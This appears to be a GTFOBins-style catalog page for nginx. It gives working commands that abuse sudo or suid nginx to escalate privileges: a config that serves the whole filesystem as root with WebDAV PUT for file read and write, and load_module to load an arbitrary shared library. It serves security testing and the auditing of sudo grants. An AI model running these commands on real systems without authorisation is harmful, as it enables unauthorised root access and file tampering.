DΛΣMӨП

Catalog GTFOBins

GTFO · Tool

nginx

5 techniques LinuxGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation Linux 
cat >/path/to/temp-file <<EOF
user root;
http {
  server {
    listen 80;
    root /;
    autoindex on;
    dav_methods PUT;
  }
}
events {}
EOF

nginx -c /path/to/temp-file
Context
sudo
Native
download
MITRE
T1105

library-load

Library LoadPrivilege Escalation Linux

Alternatively, the `ssl_engine` directive can be used.

cat >/path/to/temp-file <<EOF
load_module /path/to/lib.so;
EOF

nginx -t -c /path/to/temp-file
Context
sudo
Native
library-load
MITRE
T1574

library-load

Library LoadPrivilege Escalation Linux

Alternatively, the `ssl_engine` directive can be used.

cat >/path/to/temp-file <<EOF
load_module /path/to/lib.so;
EOF

nginx -t -c /path/to/temp-file
Context
suid
Native
library-load
MITRE
T1574

library-load

Library Load Linux

Alternatively, the `ssl_engine` directive can be used.

cat >/path/to/temp-file <<EOF
load_module /path/to/lib.so;
EOF

nginx -t -c /path/to/temp-file
Context
unprivileged
Native
library-load
MITRE
T1574

upload

File UploadPrivilege Escalation Linux 
cat >/path/to/temp-file <<EOF
user root;
http {
  server {
    listen 80;
    root /;
    autoindex on;
    dav_methods PUT;
  }
}
events {}
EOF

nginx -c /path/to/temp-file
Context
sudo
Native
upload
MITRE
T1041